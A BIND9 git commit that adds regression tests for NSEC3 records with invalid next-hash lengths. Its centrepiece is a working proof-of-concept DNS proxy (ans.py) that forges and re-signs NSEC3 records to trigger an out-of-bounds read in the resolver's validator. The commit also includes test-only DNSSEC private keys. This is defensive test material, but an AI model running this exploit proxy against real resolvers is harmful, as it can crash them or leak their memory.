]> git.ipfire.org Git - thirdparty/bind9.git/commitdiff
Add tests for NSEC3 invalid length
authorOndřej Surý <ondrej@isc.org>
Fri, 20 Feb 2026 14:44:14 +0000 (15:44 +0100)
committerOndřej Surý <ondrej@sury.org>
Tue, 24 Feb 2026 13:57:58 +0000 (14:57 +0100)
Adds a static system test that fails to load an NSEC3 record with an
invalid next part length.  Additionally, introduces a dynamic test using
a crafted authoritative DNS proxy to inject invalid NSEC3 records on the
fly to test runtime behavior.

14 files changed:
bin/tests/system/checkzone/zones/bad-nsec3-length.db [new file with mode: 0644]
bin/tests/system/nsec3/ans7/ans.py [new file with mode: 0644]
bin/tests/system/nsec3/common.py
bin/tests/system/nsec3/ns5/named.conf.j2 [new file with mode: 0644]
bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key [new file with mode: 0644]
bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private [new file with mode: 0644]
bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key [new file with mode: 0644]
bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private [new file with mode: 0644]
bin/tests/system/nsec3/ns6/evil.test.db [new file with mode: 0644]
bin/tests/system/nsec3/ns6/named.conf.j2 [new file with mode: 0644]
bin/tests/system/nsec3/ns6/setup.sh [new file with mode: 0644]
bin/tests/system/nsec3/setup.sh
bin/tests/system/nsec3/tests_nsec3_initial.py
bin/tests/system/nsec3/tests_nsec3_length.py [new file with mode: 0644]

diff --git a/bin/tests/system/checkzone/zones/bad-nsec3-length.db b/bin/tests/system/checkzone/zones/bad-nsec3-length.db
new file mode 100644 (file)
index 0000000..0e5b917
--- /dev/null
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@              SOA     ns hostmaster 2011012708 3600 1200 604800 1200
+               NS      ns
+ns             A       192.0.2.1
+
+I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3        1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG
diff --git a/bin/tests/system/nsec3/ans7/ans.py b/bin/tests/system/nsec3/ans7/ans.py
new file mode 100644 (file)
index 0000000..4fc9bdd
--- /dev/null
@@ -0,0 +1,490 @@
+#!/usr/bin/env python3
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+"""
+Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC.
+
+Simulates a malicious authoritative server that crafts NSEC3 responses
+to trigger CWE-125 (out-of-bounds stack read) in validator.c:344.
+
+Attack chain:
+1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response
+   (breaks the NSEC3 proof, forcing proveunsecure() fallback)
+2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3
+   with next_length=200 (exceeds 155-byte buffer) at position 0
+3. DS validation succeeds via unmodified NSEC3 (opt-out coverage)
+4. ncache stores: [crafted_nsec3 (200B next), original_nsec3]
+5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read
+
+Usage: python3 crafted_auth_v6.py <ip> <port>
+       Listens on [ip]:[port]
+       Forwards to legitimate auth server on [10.53.0.6]:[port]
+
+Prerequisites: pip install dnspython cryptography
+"""
+
+import base64
+import glob
+import os
+import signal
+import socket
+import struct
+import sys
+import time
+
+from cryptography.hazmat.backends import default_backend
+from cryptography.hazmat.primitives import hashes
+from cryptography.hazmat.primitives.asymmetric import ec, utils
+
+import dns.message
+import dns.name
+import dns.rcode
+import dns.rdata
+import dns.rdataclass
+import dns.rdatatype
+import dns.rrset
+
+IP = sys.argv[1]
+PORT = int(sys.argv[2])
+TARGET_NEXT_LENGTH = 200
+ZONE_FILE = "../ns6/evil.test.db.signed"
+
+# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF
+NSEC3_ALG = 1
+NSEC3_FLAGS = 1
+NSEC3_ITERATIONS = 10
+NSEC3_SALT = bytes.fromhex("DEADBEEF")
+NSEC3_TTL = 86400
+
+# RRSIG timing: computed dynamically for portability
+NOW = int(time.time())
+RRSIG_LABELS = 3
+RRSIG_ORIG_TTL = 86400
+RRSIG_INCEPTION = NOW - 3600  # 1 hour ago
+RRSIG_EXPIRATION = NOW + 30 * 86400  # 30 days from now
+
+
+def discover_nsec3_from_zone(zone_file):
+    """
+    Auto-discover NSEC3 owner names and next hashes from the signed zone.
+    Returns list of dicts sorted by owner name.
+    """
+    nsec3_records = []
+    with open(zone_file, "r", encoding="utf-8") as f:
+        for line in f:
+            line = line.strip()
+            if not line or line.startswith(";"):
+                continue
+            parts = line.split()
+            if parts[3] == "NSEC3":
+                print(parts)
+                try:
+                    idx = parts.index("NSEC3")
+                    print(idx)
+                    owner = parts[0]
+                    next_hash_b32 = parts[idx + 5]
+                    flags = int(parts[idx + 2])
+                    nsec3_records.append(
+                        {
+                            "owner": owner,
+                            "next_hash_b32": next_hash_b32,
+                            "flags": flags,
+                        }
+                    )
+                except (IndexError, ValueError):
+                    continue
+    nsec3_records.sort(key=lambda r: r["owner"])
+    return nsec3_records
+
+
+def b32_to_bytes(b32hex_str):
+    """Decode base32hex (RFC 4648) to bytes."""
+    padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8)
+    return base64.b32hexdecode(padded)
+
+
+def load_zsk():
+    """Load the Zone Signing Key (ZSK) for re-signing modified records."""
+    keys = glob.glob("../ns6/Kevil.test.+013+*.private")
+    for kf in keys:
+        pub = kf.replace(".private", ".key")
+        with open(pub, "r", encoding="utf-8") as f:
+            content = f.read()
+        if "256 3 13" in content:
+            with open(kf, "r", encoding="utf-8") as pf:
+                for line in pf:
+                    if line.startswith("PrivateKey:"):
+                        key_bytes = base64.b64decode(line.split(":", 1)[1].strip())
+                        pk = ec.derive_private_key(
+                            int.from_bytes(key_bytes, "big"),
+                            ec.SECP256R1(),
+                            default_backend(),
+                        )
+                        tag = int(kf.split("+")[-1].replace(".private", ""))
+                        print(f"[*] Loaded ZSK key tag={tag}", flush=True)
+                        return pk, tag
+    raise ValueError("No ZSK found")
+
+
+def sign_rrset(
+    private_key,
+    key_tag,
+    rrset,
+    type_covered,
+    labels,
+    original_ttl,
+    expiration,
+    inception,
+    signer_name,
+):
+    """Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata."""
+    algorithm = 13
+
+    sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl)
+    sig_rdata += struct.pack("!II", expiration, inception)
+    sig_rdata += struct.pack("!H", key_tag)
+    sig_rdata += signer_name.canonicalize().to_wire()
+
+    rr_wires = []
+    for rdata in rrset:
+        rdata_wire = rdata.to_digestable()
+        rr_wire = rrset.name.canonicalize().to_wire()
+        rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl)
+        rr_wire += struct.pack("!H", len(rdata_wire))
+        rr_wire += rdata_wire
+        rr_wires.append(rr_wire)
+
+    rr_wires.sort()
+    sign_data = sig_rdata + b"".join(rr_wires)
+
+    der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256()))
+    r, s = utils.decode_dss_signature(der_sig)
+    raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big")
+
+    full_rrsig_wire = sig_rdata + raw_sig
+    rrsig_rdata = dns.rdata.from_wire(
+        dns.rdataclass.IN,
+        dns.rdatatype.RRSIG,
+        full_rrsig_wire,
+        0,
+        len(full_rrsig_wire),
+        None,
+    )
+    return rrsig_rdata
+
+
+def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig):
+    """Sign using existing RRSIG as template for type_covered."""
+    return sign_rrset(
+        private_key,
+        key_tag,
+        rrset,
+        template_rrsig.type_covered,
+        RRSIG_LABELS,
+        RRSIG_ORIG_TTL,
+        RRSIG_EXPIRATION,
+        RRSIG_INCEPTION,
+        template_rrsig.signer,
+    )
+
+
+def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps):
+    """
+    Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer).
+    Returns (nsec3_rrset, rrsig_rrset).
+    """
+    name = dns.name.from_text(owner_name)
+    signer = dns.name.from_text("evil.test.")
+
+    crafted_next = original_next_hash + os.urandom(
+        TARGET_NEXT_LENGTH - len(original_next_hash)
+    )
+
+    nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS)
+    nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT
+    nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next
+    nsec3_wire += bitmaps
+
+    nsec3_rdata = dns.rdata.from_wire(
+        dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None
+    )
+
+    nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3)
+    nsec3_rrset.update_ttl(NSEC3_TTL)
+    nsec3_rrset.add(nsec3_rdata)
+
+    rrsig_rdata = sign_rrset(
+        private_key,
+        key_tag,
+        nsec3_rrset,
+        type_covered=dns.rdatatype.NSEC3,
+        labels=RRSIG_LABELS,
+        original_ttl=RRSIG_ORIG_TTL,
+        expiration=RRSIG_EXPIRATION,
+        inception=RRSIG_INCEPTION,
+        signer_name=signer,
+    )
+
+    rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG)
+    rrsig_rrset.update_ttl(NSEC3_TTL)
+    rrsig_rrset.add(rrsig_rdata)
+
+    print(
+        f"[*] Built crafted NSEC3: owner={owner_name}, "
+        f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}",
+        flush=True,
+    )
+    return nsec3_rrset, rrsig_rrset
+
+
+def modify_nsec3_next(rdata):
+    """Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes."""
+    orig_wire = rdata.to_digestable()
+    pos = 0
+    hash_alg = orig_wire[pos]
+    pos += 1
+    flags = orig_wire[pos]
+    pos += 1
+    iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0]
+    pos += 2
+    salt_len = orig_wire[pos]
+    pos += 1
+    salt = orig_wire[pos : pos + salt_len]
+    pos += salt_len
+    hash_len = orig_wire[pos]
+    pos += 1
+    next_hash = orig_wire[pos : pos + hash_len]
+    pos += hash_len
+    type_bitmaps = orig_wire[pos:]
+
+    crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash))
+    new_wire = struct.pack("!BBH", hash_alg, flags, iterations)
+    new_wire += struct.pack("!B", salt_len) + salt
+    new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next
+    new_wire += type_bitmaps
+
+    return dns.rdata.from_wire(
+        dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None
+    )
+
+
+def name_label(name):
+    """Get the first label (NSEC3 hash) from a DNS name."""
+    return str(name).split(".", maxsplit=1)[0].upper()
+
+
+def is_target(dns_name, target_prefix):
+    """Check if a DNS name's first label starts with target prefix."""
+    return (
+        str(dns_name)
+        .split(".", maxsplit=1)[0]
+        .upper()
+        .startswith(target_prefix.upper())
+    )
+
+
+def patch_a_response(response_data, private_key, key_tag, modify_name):
+    """
+    Patch A response: modify the NSEC3 matching modify_name to break
+    the NSEC3 proof, forcing the resolver into proveunsecure().
+    """
+    try:
+        msg = dns.message.from_wire(response_data)
+    except Exception as e:  # pylint: disable=broad-except
+        print(f"[!] Parse error: {e}", flush=True)
+        return response_data
+
+    new_authority = []
+    for rrset in msg.authority:
+        if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name):
+            new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype)
+            new_rrset.update_ttl(rrset.ttl)
+            for rdata in rrset:
+                new_rrset.add(modify_nsec3_next(rdata))
+            new_authority.append(new_rrset)
+            print(
+                f"[!] PATCHED {name_label(rrset.name)}: "
+                f"next_hash -> {TARGET_NEXT_LENGTH}B",
+                flush=True,
+            )
+
+        elif rrset.rdtype == dns.rdatatype.RRSIG:
+            covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset)
+            if covers_nsec3 and is_target(rrset.name, modify_name):
+                target_rrset = [
+                    rs
+                    for rs in new_authority
+                    if rs.rdtype == dns.rdatatype.NSEC3
+                    and is_target(rs.name, modify_name)
+                ]
+                if target_rrset:
+                    template = next(iter(rrset))
+                    try:
+                        new_rrsig = sign_rrset_from_template(
+                            private_key, key_tag, target_rrset[0], template
+                        )
+                        rrsig_rrset = dns.rrset.RRset(
+                            rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG
+                        )
+                        rrsig_rrset.update_ttl(rrset.ttl)
+                        rrsig_rrset.add(new_rrsig)
+                        new_authority.append(rrsig_rrset)
+                        print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True)
+                    except Exception as e:  # pylint: disable=broad-except
+                        print(f"[!] Sign error: {e}", flush=True)
+                        new_authority.append(rrset)
+                else:
+                    new_authority.append(rrset)
+            else:
+                new_authority.append(rrset)
+        else:
+            new_authority.append(rrset)
+
+    msg.authority = new_authority
+    try:
+        wire = msg.to_wire()
+        print(f"[!] A response: {len(wire)} bytes", flush=True)
+        return wire
+    except Exception as e:  # pylint: disable=broad-except
+        print(f"[!] Wire error: {e}", flush=True)
+        return response_data
+
+
+def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name):
+    """
+    Patch DS response:
+    - Change RCODE NXDOMAIN -> NOERROR
+    - Inject crafted NSEC3 (200B next) at position 0 in authority
+    """
+    try:
+        msg = dns.message.from_wire(response_data)
+    except Exception as e:  # pylint: disable=broad-except
+        print(f"[!] Parse error: {e}", flush=True)
+        return response_data
+
+    if msg.rcode() == dns.rcode.NXDOMAIN:
+        msg.set_rcode(dns.rcode.NOERROR)
+        print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True)
+
+    new_authority = [crafted_nsec3, crafted_rrsig]
+    print(
+        "[!] INJECTED crafted "
+        f"{name_label(crafted_nsec3.name)} "
+        f"(next={TARGET_NEXT_LENGTH}B) at position 0",
+        flush=True,
+    )
+
+    for rrset in msg.authority:
+        if is_target(rrset.name, inject_name):
+            print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True)
+            continue
+        new_authority.append(rrset)
+
+    msg.authority = new_authority
+    try:
+        wire = msg.to_wire()
+        print(f"[!] DS response: {len(wire)} bytes", flush=True)
+        return wire
+    except Exception as e:  # pylint: disable=broad-except
+        print(f"[!] Wire error: {e}", flush=True)
+        return response_data
+
+
+def sigterm(*_):
+    print("SIGTERM received, shutting down")
+    os.remove("ans.pid")
+    sys.exit(0)
+
+
+def main():
+    signal.signal(signal.SIGTERM, sigterm)
+    signal.signal(signal.SIGINT, sigterm)
+    with open("ans.pid", "w", encoding="utf-8") as pidfile:
+        print(os.getpid(), file=pidfile)
+
+    # Auto-discover NSEC3 info from signed zone
+    print(f"[*] Reading zone file: {ZONE_FILE}", flush=True)
+    nsec3_records = discover_nsec3_from_zone(ZONE_FILE)
+
+    if len(nsec3_records) < 2:
+        print(
+            f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}",
+            flush=True,
+        )
+        sys.exit(1)
+
+    # First alphabetically = inject target, second = modify target
+    inject_rec = nsec3_records[0]
+    modify_rec = nsec3_records[1]
+
+    inject_name = inject_rec["owner"].split(".")[0]
+    modify_name = modify_rec["owner"].split(".")[0]
+    inject_owner_full = inject_rec["owner"]
+    inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"])
+
+    inject_bitmaps = bytes.fromhex("0006400000000002")  # A RRSIG
+
+    print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True)
+    print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True)
+
+    # Load ZSK for re-signing
+    private_key, key_tag = load_zsk()
+
+    # Build crafted NSEC3 with next_length=200
+    crafted_nsec3, crafted_rrsig = build_crafted_nsec3(
+        private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps
+    )
+
+    # Start UDP proxy
+    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    sock.bind((IP, PORT))
+    print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True)
+
+    while True:
+        data, addr = sock.recvfrom(4096)
+        try:
+            query = dns.message.from_wire(data)
+            qname = query.question[0].name
+            qtype = query.question[0].rdtype
+            qtype_text = dns.rdatatype.to_text(qtype)
+            print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True)
+        except Exception as e:  # pylint: disable=broad-except
+            print(f"[<] Query parse error: {e}", flush=True)
+            qtype = None
+
+        fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        fwd.settimeout(3)
+        fwd.sendto(data, ("10.53.0.6", PORT))
+        try:
+            response, _ = fwd.recvfrom(65535)
+            if qtype == dns.rdatatype.DS:
+                print("[>] DS - inject crafted + RCODE change", flush=True)
+                modified = patch_ds_response(
+                    response, crafted_nsec3, crafted_rrsig, inject_name
+                )
+                sock.sendto(modified, addr)
+            elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA):
+                print(f"[>] A - modify {modify_name}", flush=True)
+                modified = patch_a_response(response, private_key, key_tag, modify_name)
+                sock.sendto(modified, addr)
+            else:
+                print(f"[>] {qtype_text} - forwarding", flush=True)
+                sock.sendto(response, addr)
+        except Exception as e:  # pylint: disable=broad-except
+            print(f"[!] Error: {e}", flush=True)
+        finally:
+            fwd.close()
+
+
+if __name__ == "__main__":
+    main()
index 2f03f9bb35fc9d2ba84b215f248276bfb6bcad91..13a8f1346449260de2b0e5460ab29b3912e0e196 100644 (file)
@@ -36,6 +36,7 @@ NSEC3_MARK = pytest.mark.extra_artifacts(
         "ns*/*.signed",
         "ns*/keygen.out.*",
         "ns3/named-*.conf",
+        "ans*/ans.run",
     ]
 )
 
diff --git a/bin/tests/system/nsec3/ns5/named.conf.j2 b/bin/tests/system/nsec3/ns5/named.conf.j2
new file mode 100644 (file)
index 0000000..3d26510
--- /dev/null
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS5
+
+options {
+       query-source address 10.53.0.5;
+       notify-source 10.53.0.5;
+       transfer-source 10.53.0.5;
+       port @PORT@;
+       pid-file "named.pid";
+       listen-on { 10.53.0.5; };
+       listen-on-v6 { none; };
+       allow-transfer { any; };
+       recursion yes;
+       dnssec-validation yes;
+       send-cookie no;
+};
+
+trust-anchors {
+    evil.test. static-key 257 3 13 "yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ==";
+};
+
+zone "evil.test" {
+    type forward;
+    forward only;
+    forwarders { 10.53.0.7 port @PORT@; };
+};
diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key
new file mode 100644 (file)
index 0000000..b9ff7a5
--- /dev/null
@@ -0,0 +1,5 @@
+; This is a key-signing key, keyid 10491, for evil.test.
+; Created: 20260220135822 (Fri Feb 20 14:58:22 2026)
+; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026)
+; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026)
+evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ==
diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private
new file mode 100644 (file)
index 0000000..2b5d444
--- /dev/null
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 13 (ECDSAP256SHA256)
+PrivateKey: ggNXr56dVy7kxpAL5tFDNskg72fJmxhzqHNiaNcefXs=
+Created: 20260220135822
+Publish: 20260220135822
+Activate: 20260220135822
diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key
new file mode 100644 (file)
index 0000000..a0b7f44
--- /dev/null
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 12713, for evil.test.
+; Created: 20260220135826 (Fri Feb 20 14:58:26 2026)
+; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026)
+; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026)
+evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA==
diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private
new file mode 100644 (file)
index 0000000..2bf0851
--- /dev/null
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 13 (ECDSAP256SHA256)
+PrivateKey: v6iu6vE/hjOKCP/ob2DkqCeHdCUTqkZp4W9x4Id0Epg=
+Created: 20260220135826
+Publish: 20260220135826
+Activate: 20260220135826
diff --git a/bin/tests/system/nsec3/ns6/evil.test.db b/bin/tests/system/nsec3/ns6/evil.test.db
new file mode 100644 (file)
index 0000000..67692d0
--- /dev/null
@@ -0,0 +1,32 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$ORIGIN evil.test.
+$TTL 86400
+@       IN  SOA     ns1.evil.test. admin.evil.test. (
+                    2024021401  ; serial
+                    3600        ; refresh
+                    900         ; retry
+                    604800      ; expire
+                    86400       ; minimum TTL
+                    )
+        IN  NS      ns1.evil.test.
+ns1     IN  A       127.0.0.1
+; This is a key-signing key, keyid 10491, for evil.test.
+; Created: 20260220135822 (Fri Feb 20 14:58:22 2026)
+; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026)
+; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026)
+evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ==
+; This is a zone-signing key, keyid 12713, for evil.test.
+; Created: 20260220135826 (Fri Feb 20 14:58:26 2026)
+; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026)
+; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026)
+evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA==
diff --git a/bin/tests/system/nsec3/ns6/named.conf.j2 b/bin/tests/system/nsec3/ns6/named.conf.j2
new file mode 100644 (file)
index 0000000..b6da391
--- /dev/null
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS6
+
+options {
+       query-source address 10.53.0.6;
+       notify-source 10.53.0.6;
+       transfer-source 10.53.0.6;
+       port @PORT@;
+       pid-file "named.pid";
+       listen-on { 10.53.0.6; };
+       listen-on-v6 { none; };
+       allow-transfer { any; };
+       recursion no;
+       dnssec-validation no;
+};
+
+zone "evil.test" {
+    type primary;
+    file "evil.test.db.signed";
+};
diff --git a/bin/tests/system/nsec3/ns6/setup.sh b/bin/tests/system/nsec3/ns6/setup.sh
new file mode 100644 (file)
index 0000000..ca02eae
--- /dev/null
@@ -0,0 +1,21 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns6/setup.sh"
+
+$SIGNER -3 DEADBEEF -A -H 10 -o evil.test -t evil.test.db >/dev/null 2>&1
+$CHECKZONE -s full -f text -F text -o evil.test.db.signed2 evil.test evil.test.db.signed >/dev/null 2>&1
+mv evil.test.db.signed2 evil.test.db.signed
index 1ddb23c55ab88dfcb5066a8b593dce86831630f5..142f77a17f20ad4b9e8e92b1904bcbbece0c3de1 100644 (file)
@@ -25,3 +25,8 @@ set -e
   cd ns3
   $SHELL setup.sh
 )
+
+(
+  cd ns6
+  $SHELL setup.sh
+)
index 0cc53c81aa42fce0f40f55bd808db36e0c6df1d6..f0dacdc46176a6c44d117d734eaa2621691dd896 100644 (file)
@@ -9,6 +9,8 @@
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+# pylint: disable=unspecified-encoding,multiple-statements,use-maxsplit-arg,broad-exception-caught,f-string-without-interpolation
+
 import os
 
 import dns.rcode
diff --git a/bin/tests/system/nsec3/tests_nsec3_length.py b/bin/tests/system/nsec3/tests_nsec3_length.py
new file mode 100644 (file)
index 0000000..0adc5bb
--- /dev/null
@@ -0,0 +1,32 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# pylint: disable=redefined-outer-name,unused-import
+
+import dns.message
+
+import isctest
+
+ZONES = {
+    "evil.test",
+}
+
+
+def bootstrap():
+    return {
+        "zones": ZONES,
+    }
+
+
+def test_nsec3_invalid_length():
+    msg = dns.message.make_query("xxx.evil.test", "A")
+    res = isctest.query.udp(msg, "10.53.0.5")
+    isctest.check.servfail(res)